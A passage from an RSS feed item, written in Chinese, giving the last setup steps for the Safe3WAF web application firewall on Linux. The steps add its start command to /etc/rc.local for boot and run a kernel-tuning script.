<br/>4、配置开机自启动<br/><br/>vi /etc/rc.local<br/> 在末尾增加以下内容：<br/><br/>引用<br/>ulimit -SHn 65535<br/><br/>/usr/local/safe3waf/bin/safe3waf.sh start<br/>5、优化linux内核参数<br/><br/>/usr/local/safe3waf/bin/optimiz_kernel.sh<br/>]]></description>
		</item>
		
</channel>
</rss>

